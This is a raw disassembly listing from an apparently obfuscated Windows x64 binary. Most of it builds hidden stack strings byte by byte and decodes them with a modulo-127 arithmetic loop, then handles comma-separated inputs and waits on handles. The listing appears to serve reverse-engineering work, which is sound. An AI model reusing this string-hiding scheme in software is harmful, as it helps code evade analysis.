mov byte [rbp + 0x106], 0x31
mov byte [rbp + 0x107], 0x76
mov byte [rbp + 0x108], 0x31
mov byte [rbp + 0x109], 0x43
mov byte [rbp + 0x10a], 0x31
mov byte [rbp + 0x10b], 0x7c
mov byte [rbp + 0x10c], 0x31
mov byte [rbp + 0x10d], 0x52
mov byte [rbp + 0x10e], 0x31
mov byte [rbp + 0x10f], 0x61
mov byte [rbp + 0x110], 0x31
mov byte [rbp + 0x111], 0x31
mov byte [rbp + 0x112], 0x31
movzx eax, byte [rbp + 0xd1]
movzx eax, byte [rbp + 0xd0]
test al, al
jne 0x14002eabb
mov r9, rbx
nop word [rax + rax]
movzx ecx, byte [rbp + r9 + 0xd1]
sub ecx, 0x31
imul r8d, ecx, 0x37
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 + 0xd1], r8b
inc r9
cmp r9, 0x42
jb 0x14002ea60
movzx edx, word [rbp + 0x3e0]
mov r8d, r10d
lea rcx, [rbp + 0xd1]
call fcn.14002abc0
lea r8, [rbp + 0x3e8]
lea rcx, [rbp + 0x3a0]
call fcn.1400307e0
mov rcx, rax
call fcn.14002ca80
test eax, eax
jne 0x14002ee24
movups xmm0, xmmword [rbp + 0x3e8]
movaps xmmword [rbp + 0x380], xmm0
movups xmm1, xmmword [rbp + 0x3f8]
movaps xmmword [rbp + 0x390], xmm1
mov byte [rbp + 0x120], al
mov byte [rbp + 0x121], 0x6e
mov byte [rbp + 0x122], 0x48
mov byte [rbp + 0x123], 0x5b
mov byte [rbp + 0x124], 0x48
mov byte [rbp + 0x125], 0x57
mov byte [rbp + 0x126], 0x48
mov byte [rbp + 0x127], 0x3c
mov byte [rbp + 0x128], 0x48
mov byte [rbp + 0x129], 7
mov byte [rbp + 0x12a], 0x48
mov byte [rbp + 0x12b], 0x6f
mov byte [rbp + 0x12c], 0x48
mov byte [rbp + 0x12d], 0x50
mov byte [rbp + 0x12e], 0x48
mov byte [rbp + 0x12f], 0x57
mov byte [rbp + 0x130], 0x48
mov byte [rbp + 0x131], 7
mov byte [rbp + 0x132], 0x48
mov byte [rbp + 0x133], 0x50
mov byte [rbp + 0x134], 0x48
mov byte [rbp + 0x135], 0x4c
mov byte [rbp + 0x136], 0x48
mov byte [rbp + 0x137], 0x6f
mov byte [rbp + 0x138], 0x48
mov byte [rbp + 0x139], 0x45
mov byte [rbp + 0x13a], 0x48
mov byte [rbp + 0x13b], 0x57
mov byte [rbp + 0x13c], 0x48
mov byte [rbp + 0x13d], 7
mov byte [rbp + 0x13e], 0x48
mov byte [rbp + 0x13f], 0x74
mov byte [rbp + 0x140], 0x48
mov byte [rbp + 0x141], 0x6f
mov byte [rbp + 0x142], 0x48
mov byte [rbp + 0x143], 0x33
mov byte [rbp + 0x144], 0x48
mov byte [rbp + 0x145], 0x4c
mov byte [rbp + 0x146], 0x48
mov byte [rbp + 0x147], 0x45
mov byte [rbp + 0x148], 0x48
mov byte [rbp + 0x149], 0x41
mov byte [rbp + 0x14a], 0x48
mov byte [rbp + 0x14b], 0x50
mov byte [rbp + 0x14c], 0x48
mov byte [rbp + 0x14d], 0x6f
mov byte [rbp + 0x14e], 0x48
mov byte [rbp + 0x14f], 2
mov byte [rbp + 0x150], 0x48
mov byte [rbp + 0x151], 0x69
mov byte [rbp + 0x152], 0x48
mov byte [rbp + 0x153], 9
mov byte [rbp + 0x154], 0x48
mov byte [rbp + 0x155], 0x6f
mov byte [rbp + 0x156], 0x48
mov byte [rbp + 0x157], 0x63
mov byte [rbp + 0x158], 0x48
mov byte [rbp + 0x159], 0x50
mov byte [rbp + 0x15a], 0x48
mov byte [rbp + 0x15b], 7
mov byte [rbp + 0x15c], 0x48
mov byte [rbp + 0x15d], 0x75
mov byte [rbp + 0x15e], 0x48
mov byte [rbp + 0x15f], 0x5b
mov byte [rbp + 0x160], 0x48
mov byte [rbp + 0x161], 0x69
mov byte [rbp + 0x162], 0x48
mov byte [rbp + 0x163], 7
mov byte [rbp + 0x164], 0x48
mov byte [rbp + 0x165], 0x29
mov byte [rbp + 0x166], 0x48
mov byte [rbp + 0x167], 0x4c
mov byte [rbp + 0x168], 0x48
mov byte [rbp + 0x169], 0x4c
mov byte [rbp + 0x16a], 0x48
mov byte [rbp + 0x16b], 0x74
mov byte [rbp + 0x16c], 0x48
mov byte [rbp + 0x16d], 0x4c
mov byte [rbp + 0x16e], 0x48
mov byte [rbp + 0x16f], 0x6f
mov byte [rbp + 0x170], 0x48
mov byte [rbp + 0x171], 0x3f
mov byte [rbp + 0x172], 0x48
mov byte [rbp + 0x173], 0x6f
mov byte [rbp + 0x174], 0x48
mov byte [rbp + 0x175], 2
mov byte [rbp + 0x176], 0x48
mov byte [rbp + 0x177], 0x1d
mov byte [rbp + 0x178], 0x48
mov byte [rbp + 0x179], 0x24
mov byte [rbp + 0x17a], 0x48
mov byte [rbp + 0x17b], 0x48
mov byte [rbp + 0x17c], 0x48
movzx eax, byte [rbp + 0x121]
movzx eax, byte [rbp + 0x120]
test al, al
jne 0x14002ee07
mov r8, rbx
nop
movzx ecx, byte [rbp + r8 + 0x121]
mov eax, 0x48
sub eax, ecx
imul ecx, eax, 0x23
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 + 0x121], cl
inc r8
cmp r8, 0x5c
jb 0x14002edb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x121]
call fcn.14002abc0
nop
mov rax, qword [rbp + 0x400]
cmp rax, 8
jb 0x14002ee78
inc rax
mov rcx, qword [rbp + 0x3e8]
cmp rax, r15
ja 0x14002eee9
add rax, rax
cmp rax, 0x1000
jb 0x14002ee73
test cl, 0x1f
jne 0x14002eee3
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14002eedd
sub rcx, rax
cmp rcx, 8
jb 0x14002eed7
cmp rcx, 0x27
ja 0x14002eed1
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0x400], 7
mov qword [rbp + 0x3f8], rbx
mov word [rbp + 0x3e8], bx
movzx ecx, word [rbp + 0x3e0]
shr esi, 1
inc cx
mov word [rbp + 0x3e0], cx
cmp cx, 0x5a
ja 0x14002fc66
jmp 0x14002e770
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
nop
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
test rdi, rdi
je 0x14002f9c1
mov r14d, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
mov rax, rbx
test rcx, rcx
jle 0x14002ef28
cmp word [rdi + rax*2], 0x2c
jne 0x14002ef20
mov word [rdi + rax*2], bx
inc r14d
inc rax
cmp rax, rcx
jl 0x14002ef12
movabs r15, 0x7fffffffffffffff
mov byte [rbp + 0x90], 0
mov byte [rbp + 0x91], 0x3d
mov byte [rbp + 0x92], 0x51
mov byte [rbp + 0x93], 0x3e
mov byte [rbp + 0x94], 0x51
mov byte [rbp + 0x95], 0x79
mov byte [rbp + 0x96], 0x51
mov byte [rbp + 0x97], 0x25
mov byte [rbp + 0x98], 0x51
mov byte [rbp + 0x99], 0x3b
mov byte [rbp + 0x9a], 0x51
mov byte [rbp + 0x9b], 0x22
mov byte [rbp + 0x9c], 0x51
mov byte [rbp + 0x9d], 0x3e
mov byte [rbp + 0x9e], 0x51
mov byte [rbp + 0x9f], 0x63
mov byte [rbp + 0xa0], 0x51
mov byte [rbp + 0xa1], 0x39
mov byte [rbp + 0xa2], 0x51
mov byte [rbp + 0xa3], 0x22
mov byte [rbp + 0xa4], 0x51
mov byte [rbp + 0xa5], 0x3e
mov byte [rbp + 0xa6], 0x51
mov byte [rbp + 0xa7], 0x79
mov byte [rbp + 0xa8], 0x51
mov byte [rbp + 0xa9], 0x5d
mov byte [rbp + 0xaa], 0x51
mov byte [rbp + 0xab], 0x39
mov byte [rbp + 0xac], 0x51
mov byte [rbp + 0xad], 0x7c
mov byte [rbp + 0xae], 0x51
mov byte [rbp + 0xaf], 0x28
mov byte [rbp + 0xb0], 0x51
mov byte [rbp + 0xb1], 0x79
mov byte [rbp + 0xb2], 0x51
mov byte [rbp + 0xb3], 3
mov byte [rbp + 0xb4], 0x51
mov byte [rbp + 0xb5], 0x39
mov byte [rbp + 0xb6], 0x51
mov byte [rbp + 0xb7], 0x55
mov byte [rbp + 0xb8], 0x51
mov byte [rbp + 0xb9], 0x5a
mov byte [rbp + 0xba], 0x51
mov byte [rbp + 0xbb], 0x6e
mov byte [rbp + 0xbc], 0x51
mov byte [rbp + 0xbd], 0x6e
mov byte [rbp + 0xbe], 0x51
mov byte [rbp + 0xbf], 0x6e
mov byte [rbp + 0xc0], 0x51
mov byte [rbp + 0xc1], 0x51
mov byte [rbp + 0xc2], 0x51
movzx eax, byte [rbp + 0x91]
movzx eax, byte [rbp + 0x90]
test al, al
jne 0x14002f10b
mov r9, rbx
nop dword [rax]
movzx ecx, byte [rbp + r9 + 0x91]
sub ecx, 0x51
imul r8d, ecx, 0x29
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 + 0x91], r8b
inc r9
cmp r9, 0x32
jb 0x14002f0b0
mov rdx, rdi
lea rcx, [rbp + 0x91]
call fcn.14002abc0
mov r8d, 2
lea rdx, [0x14004c04c]
mov rcx, rdi
call fcn.1400374c4
test eax, eax
jne 0x14002f541
mov qword [rbp + 0x368], 7
mov qword [rbp + 0x360], rbx
mov word [rbp + 0x350], bx
cmp word [rdi], ax
jne 0x14002f15a
mov r8, rbx
jmp 0x14002f16b
or r8, 0xffffffffffffffff
nop
inc r8
cmp word [rdi + r8*2], 0
jne 0x14002f160
mov rdx, rdi
lea rcx, [rbp + 0x350]
call fcn.14002ffc0
lea rcx, [rbp + 0x350]
call fcn.14002ca80
test eax, eax
jne 0x14002f983
mov byte [rbp + 0x260], al
mov byte [rbp + 0x261], 0x71
mov byte [rbp + 0x262], 0x76
mov byte [rbp + 0x263], 0x34
mov byte [rbp + 0x264], 0x76
mov byte [rbp + 0x265], 0x6a
mov byte [rbp + 0x266], 0x76
mov byte [rbp + 0x267], 0x1a
mov byte [rbp + 0x268], 0x76
mov byte [rbp + 0x269], 0x2b
mov byte [rbp + 0x26a], 0x76
mov byte [rbp + 0x26b], 0x24
mov byte [rbp + 0x26c], 0x76
mov byte [rbp + 0x26d], 0xa
mov byte [rbp + 0x26e], 0x76
mov byte [rbp + 0x26f], 0x6a
mov byte [rbp + 0x270], 0x76
mov byte [rbp + 0x271], 0x2b
mov byte [rbp + 0x272], 0x76
mov byte [rbp + 0x273], 0xa
mov byte [rbp + 0x274], 0x76
mov byte [rbp + 0x275], 0x40
mov byte [rbp + 0x276], 0x76
mov byte [rbp + 0x277], 0x24
mov byte [rbp + 0x278], 0x76
mov byte [rbp + 0x279], 0x5f
mov byte [rbp + 0x27a], 0x76
mov byte [rbp + 0x27b], 0x6a
mov byte [rbp + 0x27c], 0x76
mov byte [rbp + 0x27d], 0x2b
mov byte [rbp + 0x27e], 0x76
mov byte [rbp + 0x27f], 0x20
mov byte [rbp + 0x280], 0x76
mov byte [rbp + 0x281], 0x24
mov byte [rbp + 0x282], 0x76
mov byte [rbp + 0x283], 0x40
mov byte [rbp + 0x284], 0x76
mov byte [rbp + 0x285], 0xa
mov byte [rbp + 0x286], 0x76
mov byte [rbp + 0x287], 0x35
mov byte [rbp + 0x288], 0x76
mov byte [rbp + 0x289], 0x20
mov byte [rbp + 0x28a], 0x76
mov byte [rbp + 0x28b], 0x2b
mov byte [rbp + 0x28c], 0x76
mov byte [rbp + 0x28d], 0xa
mov byte [rbp + 0x28e], 0x76
mov byte [rbp + 0x28f], 0x24
mov byte [rbp + 0x290], 0x76
mov byte [rbp + 0x291], 0x54
mov byte [rbp + 0x292], 0x76
mov byte [rbp + 0x293], 0x5f
mov byte [rbp + 0x294], 0x76
mov byte [rbp + 0x295], 0x40
mov byte [rbp + 0x296], 0x76
mov byte [rbp + 0x297], 0xa
mov byte [rbp + 0x298], 0x76
mov byte [rbp + 0x299], 0x1f
mov byte [rbp + 0x29a], 0x76
mov byte [rbp + 0x29b], 0x2b
mov byte [rbp + 0x29c], 0x76
mov byte [rbp + 0x29d], 0x20
mov byte [rbp + 0x29e], 0x76
mov byte [rbp + 0x29f], 0x40
mov byte [rbp + 0x2a0], 0x76
mov byte [rbp + 0x2a1], 0x36
mov byte [rbp + 0x2a2], 0x76
mov byte [rbp + 0x2a3], 0x24
mov byte [rbp + 0x2a4], 0x76
mov byte [rbp + 0x2a5], 0x2f
mov byte [rbp + 0x2a6], 0x76
mov byte [rbp + 0x2a7], 0x75
mov byte [rbp + 0x2a8], 0x76
mov byte [rbp + 0x2a9], 0x10
mov byte [rbp + 0x2aa], 0x76
mov byte [rbp + 0x2ab], 0x24
mov byte [rbp + 0x2ac], 0x76
mov byte [rbp + 0x2ad], 0x47
mov byte [rbp + 0x2ae], 0x76
mov byte [rbp + 0x2af], 0xa
mov byte [rbp + 0x2b0], 0x76
mov byte [rbp + 0x2b1], 0x2b
mov byte [rbp + 0x2b2], 0x76
mov byte [rbp + 0x2b3], 0x52
mov byte [rbp + 0x2b4], 0x76
mov byte [rbp + 0x2b5], 0x34
mov byte [rbp + 0x2b6], 0x76
mov byte [rbp + 0x2b7], 0x75
mov byte [rbp + 0x2b8], 0x76
mov byte [rbp + 0x2b9], 0x2b
mov byte [rbp + 0x2ba], 0x76
mov byte [rbp + 0x2bb], 0x5c
mov byte [rbp + 0x2bc], 0x76
mov byte [rbp + 0x2bd], 0x40
mov byte [rbp + 0x2be], 0x76
mov byte [rbp + 0x2bf], 0x40
mov byte [rbp + 0x2c0], 0x76
mov byte [rbp + 0x2c1], 0x20
mov byte [rbp + 0x2c2], 0x76
mov byte [rbp + 0x2c3], 0x40
mov byte [rbp + 0x2c4], 0x76
mov byte [rbp + 0x2c5], 0x24
mov byte [rbp + 0x2c6], 0x76
mov byte [rbp + 0x2c7], 0x31
mov byte [rbp + 0x2c8], 0x76
mov byte [rbp + 0x2c9], 0x24
mov byte [rbp + 0x2ca], 0x76
mov byte [rbp + 0x2cb], 0x2f
mov byte [rbp + 0x2cc], 0x76
mov byte [rbp + 0x2cd], al
mov byte [rbp + 0x2ce], 0x76
mov byte [rbp + 0x2cf], 0x60
mov byte [rbp + 0x2d0], 0x76
mov byte [rbp + 0x2d1], 0x76
mov byte [rbp + 0x2d2], 0x76
movzx eax, byte [rbp + 0x261]
movzx eax, byte [rbp + 0x260]
test al, al
jne 0x14002f52f
mov r9, rbx
nop word [rax + rax]
movzx ecx, byte [rbp + r9 + 0x261]
sub ecx, 0x76
lea r8d, [rcx + rcx*2]
shl r8d, 2
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 + 0x261], r8b
inc r9
cmp r9, 0x72
jb 0x14002f4d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbp + 0x261]
jmp 0x14002f978
mov qword [rbp + 0x348], 7
mov qword [rbp + 0x340], rbx
mov word [rbp + 0x330], bx
cmp word [rdi], 0
jne 0x14002f565
mov r8, rbx
jmp 0x14002f57b
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdi + r8*2], 0
jne 0x14002f570
mov rdx, rdi
lea rcx, [rbp + 0x330]
call fcn.14002ffc0
nop
lea r8, [rbp + 0x330]
lea rcx, [rbp + 0x3c0]
call fcn.140030870
mov rcx, rax
call fcn.14002ca80
test eax, eax
sete sil
mov rax, qword [rbp + 0x348]
cmp rax, 8
jb 0x14002f60c
inc rax
mov rcx, qword [rbp + 0x330]
cmp rax, r15
ja 0x14002f9bb
add rax, rax
cmp rax, 0x1000
jb 0x14002f607
test cl, 0x1f
jne 0x14002f9b5
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14002f9af
sub rcx, rax
cmp rcx, 8
jb 0x14002f9a9
cmp rcx, 0x27
ja 0x14002f9a3
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0x348], 7
mov qword [rbp + 0x340], rbx
mov word [rbp + 0x330], bx
test sil, sil
je 0x14002f983
mov byte [rbp + 0x180], 0
mov byte [rbp + 0x181], 0x5f
mov byte [rbp + 0x182], 0x63
mov byte [rbp + 0x183], 0x61
mov byte [rbp + 0x184], 0x63
mov byte [rbp + 0x185], 0x40
mov byte [rbp + 0x186], 0x63
mov byte [rbp + 0x187], 0
mov byte [rbp + 0x188], 0x63
mov byte [rbp + 0x189], 0x27
mov byte [rbp + 0x18a], 0x63
mov byte [rbp + 0x18b], 8
mov byte [rbp + 0x18c], 0x63
mov byte [rbp + 0x18d], 0x26
mov byte [rbp + 0x18e], 0x63
mov byte [rbp + 0x18f], 0x40
mov byte [rbp + 0x190], 0x63
mov byte [rbp + 0x191], 0x27
mov byte [rbp + 0x192], 0x63
mov byte [rbp + 0x193], 0x26
mov byte [rbp + 0x194], 0x63
mov byte [rbp + 0x195], 5
mov byte [rbp + 0x196], 0x63
mov byte [rbp + 0x197], 8
mov byte [rbp + 0x198], 0x63
mov byte [rbp + 0x199], 0x6a
mov byte [rbp + 0x19a], 0x63
mov byte [rbp + 0x19b], 0x40
mov byte [rbp + 0x19c], 0x63
mov byte [rbp + 0x19d], 0x27
mov byte [rbp + 0x19e], 0x63
mov byte [rbp + 0x19f], 0x51
mov byte [rbp + 0x1a0], 0x63
mov byte [rbp + 0x1a1], 8
mov byte [rbp + 0x1a2], 0x63
mov byte [rbp + 0x1a3], 0x15
mov byte [rbp + 0x1a4], 0x63
mov byte [rbp + 0x1a5], 0x6a
mov byte [rbp + 0x1a6], 0x63
mov byte [rbp + 0x1a7], 5
mov byte [rbp + 0x1a8], 0x63
mov byte [rbp + 0x1a9], 0x26
mov byte [rbp + 0x1aa], 0x63
mov byte [rbp + 0x1ab], 4
mov byte [rbp + 0x1ac], 0x63
mov byte [rbp + 0x1ad], 0x27
mov byte [rbp + 0x1ae], 0x63
mov byte [rbp + 0x1af], 0x51
mov byte [rbp + 0x1b0], 0x63
mov byte [rbp + 0x1b1], 5
mov byte [rbp + 0x1b2], 0x63
mov byte [rbp + 0x1b3], 0x7c
mov byte [rbp + 0x1b4], 0x63
mov byte [rbp + 0x1b5], 8
mov byte [rbp + 0x1b6], 0x63
mov byte [rbp + 0x1b7], 0x5d
mov byte [rbp + 0x1b8], 0x63
mov byte [rbp + 0x1b9], 0x16
mov byte [rbp + 0x1ba], 0x63
mov byte [rbp + 0x1bb], 0x77
mov byte [rbp + 0x1bc], 0x63
mov byte [rbp + 0x1bd], 8
mov byte [rbp + 0x1be], 0x63
mov byte [rbp + 0x1bf], 0x24
mov byte [rbp + 0x1c0], 0x63
mov byte [rbp + 0x1c1], 0x26
mov byte [rbp + 0x1c2], 0x63
mov byte [rbp + 0x1c3], 0x27
mov byte [rbp + 0x1c4], 0x63
mov byte [rbp + 0x1c5], 0x79
mov byte [rbp + 0x1c6], 0x63
mov byte [rbp + 0x1c7], 0x61
mov byte [rbp + 0x1c8], 0x63
mov byte [rbp + 0x1c9], 0x16
mov byte [rbp + 0x1ca], 0x63
mov byte [rbp + 0x1cb], 0x27
mov byte [rbp + 0x1cc], 0x63
mov byte [rbp + 0x1cd], 2
mov byte [rbp + 0x1ce], 0x63
mov byte [rbp + 0x1cf], 5
mov byte [rbp + 0x1d0], 0x63
mov byte [rbp + 0x1d1], 5
mov byte [rbp + 0x1d2], 0x63
mov byte [rbp + 0x1d3], 0x51
mov byte [rbp + 0x1d4], 0x63
mov byte [rbp + 0x1d5], 5
mov byte [rbp + 0x1d6], 0x63
mov byte [rbp + 0x1d7], 8
mov byte [rbp + 0x1d8], 0x63
mov byte [rbp + 0x1d9], 0x78
mov byte [rbp + 0x1da], 0x63
mov byte [rbp + 0x1db], 8
mov byte [rbp + 0x1dc], 0x63
mov byte [rbp + 0x1dd], 0x5d
mov byte [rbp + 0x1de], 0x63
mov byte [rbp + 0x1df], 0x1e
mov byte [rbp + 0x1e0], 0x63
mov byte [rbp + 0x1e1], 0x38
mov byte [rbp + 0x1e2], 0x63
mov byte [rbp + 0x1e3], 0x63
mov byte [rbp + 0x1e4], 0x63
movzx eax, byte [rbp + 0x181]
movzx eax, byte [rbp + 0x180]
test al, al
jne 0x14002f96b
mov r9, rbx
nop word [rax + rax]
movzx ecx, byte [rbp + r9 + 0x181]
sub ecx, 0x63
imul r8d, ecx, 0xf
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 + 0x181], r8b
inc r9
cmp r9, 0x64
jb 0x14002f910
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbp + 0x181]
mov r8d, eax
mov rdx, rdi
call fcn.14002abc0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea rdi, [rdi + rax*2]
sub r14d, 1
je 0x14002fc66
jmp 0x14002ef32
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
test r12, r12
je 0x14002fc66
mov esi, 1
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
mov rax, rbx
test rcx, rcx
jle 0x14002f9fa
cmp word [r12 + rax*2], 0x2c
jne 0x14002f9f2
mov word [r12 + rax*2], bx
inc esi
inc rax
cmp rax, rcx
jl 0x14002f9e3
movabs r15, 0x7fffffffffffffff
nop dword [rax]
nop dword [rax + rax]
mov byte [rbp + 0x60], 0
mov byte [rbp + 0x61], 0x13
mov byte [rbp + 0x62], 0x42
mov byte [rbp + 0x63], 0xf
mov byte [rbp + 0x64], 0x42
mov byte [rbp + 0x65], 0x21
mov byte [rbp + 0x66], 0x42
mov byte [rbp + 0x67], 0x73
mov byte [rbp + 0x68], 0x42
mov byte [rbp + 0x69], 0x1b
mov byte [rbp + 0x6a], 0x42
mov byte [rbp + 0x6b], 0
mov byte [rbp + 0x6c], 0x42
mov byte [rbp + 0x6d], 0xf
mov byte [rbp + 0x6e], 0x42
mov byte [rbp + 0x6f], 0x79
mov byte [rbp + 0x70], 0x42
mov byte [rbp + 0x71], 0x23
mov byte [rbp + 0x72], 0x42
mov byte [rbp + 0x73], 0
mov byte [rbp + 0x74], 0x42
mov byte [rbp + 0x75], 0xf
mov byte [rbp + 0x76], 0x42
mov byte [rbp + 0x77], 0x21
mov byte [rbp + 0x78], 0x42
mov byte [rbp + 0x79], 0x12
mov byte [rbp + 0x7a], 0x42
mov byte [rbp + 0x7b], 0x23
mov byte [rbp + 0x7c], 0x42
mov byte [rbp + 0x7d], 0x15
mov byte [rbp + 0x7e], 0x42
mov byte [rbp + 0x7f], 0x67
mov byte [rbp + 0x80], 0x42
mov byte [rbp + 0x81], 0x21
mov byte [rbp + 0x82], 0x42
mov byte [rbp + 0x83], 0x7c
mov byte [rbp + 0x84], 0x42
mov byte [rbp + 0x85], 0x23
mov byte [rbp + 0x86], 0x42
mov byte [rbp + 0x87], 0x32
mov byte [rbp + 0x88], 0x42
mov byte [rbp + 0x89], 0x1e
mov byte [rbp + 0x8a], 0x42
mov byte [rbp + 0x8b], 0x42
mov byte [rbp + 0x8c], 0x42
movzx eax, byte [rbp + 0x61]
movzx eax, byte [rbp + 0x60]
test al, al
jne 0x14002fb51
mov r8, rbx
nop word [rax + rax]
movzx ecx, byte [rbp + r8 + 0x61]
mov eax, 0x42
sub eax, ecx
imul ecx, eax, 0x2a
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 + 0x61], cl
inc r8
cmp r8, 0x2c
jb 0x14002fb00
mov rdx, r12
lea rcx, [rbp + 0x61]
call fcn.14002abc0
mov qword [rbp + 0x308], 7
mov qword [rbp + 0x300], rbx
mov word [rbp + 0x2f0], bx
cmp word [r12], 0
jne 0x14002fb83
mov r8, rbx
jmp 0x14002fb9b
or r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [r12 + r8*2], 0
jne 0x14002fb90
mov rdx, r12
lea rcx, [rbp + 0x2f0]
call fcn.14002ffc0
nop
lea rcx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 8
cmovae rcx, qword [rbp + 0x2f0]
call fcn.14002d490
nop
mov rax, qword [rbp + 0x308]
cmp rax, 8
jb 0x14002fc14
inc rax
mov rcx, qword [rbp + 0x2f0]
cmp rax, r15
ja 0x14002fc60
add rax, rax
cmp rax, 0x1000
jb 0x14002fc0f
test cl, 0x1f
jne 0x14002fc5a
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14002fc54
sub rcx, rax
cmp rcx, 8
jb 0x14002fc4e
cmp rcx, 0x27
ja 0x14002fc48
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0x308], 7
mov qword [rbp + 0x300], rbx
mov word [rbp + 0x2f0], bx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea r12, [r12 + rax*2]
sub esi, 1
je 0x14002fc66
jmp 0x14002fa10
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
mov eax, 1
mov dword [0x140051f40], eax
or r9d, 0xffffffff
mov r8d, eax
mov rdx, r13
mov ecx, dword [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x69], 0x37
mov byte [rsp + 0x6a], 0x3d
mov byte [rsp + 0x6b], 0x28
mov byte [rsp + 0x6c], 0x3d
mov byte [rsp + 0x6d], 0x7e
mov byte [rsp + 0x6e], 0x3d
mov byte [rsp + 0x6f], 0xb
mov byte [rsp + 0x70], 0x3d
mov byte [rsp + 0x71], 0x11
mov byte [rsp + 0x72], 0x3d
mov byte [rsp + 0x73], 0x3d
mov byte [rsp + 0x74], 0x3d
movzx eax, byte [rsp + 0x69]
movzx eax, byte [rsp + 0x68]
test al, al
jne 0x14002fd35
mov r9, rbx
nop dword [rax]
movzx ecx, byte [rsp + r9 + 0x69]
sub ecx, 0x3d
imul r8d, ecx, 0x1f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x69], r8b
inc r9
cmp r9, 0xc
jb 0x14002fce0
lea rcx, [rsp + 0x69]
call fcn.14002abc0
mov rcx, qword [0x140050900]
cmp rcx, 0xffffffffffffffff
je 0x14002fd52
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
jne 0x14002fe29
test r12, r12
jne 0x14002fe29
mov byte [rbp + 8], r12b
mov byte [rbp + 9], 0x38
mov byte [rbp + 0xa], r12b
mov byte [rbp + 0xb], 0xd
mov byte [rbp + 0xc], r12b
mov byte [rbp + 0xd], 0x77
mov byte [rbp + 0xe], r12b
mov byte [rbp + 0xf], 0x77
mov byte [rbp + 0x10], r12b
mov byte [rbp + 0x11], 0x77
mov byte [rbp + 0x12], r12b
mov byte [rbp + 0x13], 0x77
mov byte [rbp + 0x14], r12b
mov byte [rbp + 0x15], 0x60
mov byte [rbp + 0x16], r12b
mov byte [rbp + 0x17], 0x48
mov byte [rbp + 0x18], r12b
mov byte [rbp + 0x19], 0x5c
mov byte [rbp + 0x1a], r12b
mov byte [rbp + 0x1b], 0x5d
mov byte [rbp + 0x1c], r12b
mov byte [rbp + 0x1d], r12b
mov byte [rbp + 0x1e], r12b
movzx eax, byte [rbp + 9]
movzx eax, byte [rbp + 8]
test al, al
jne 0x14002fe20
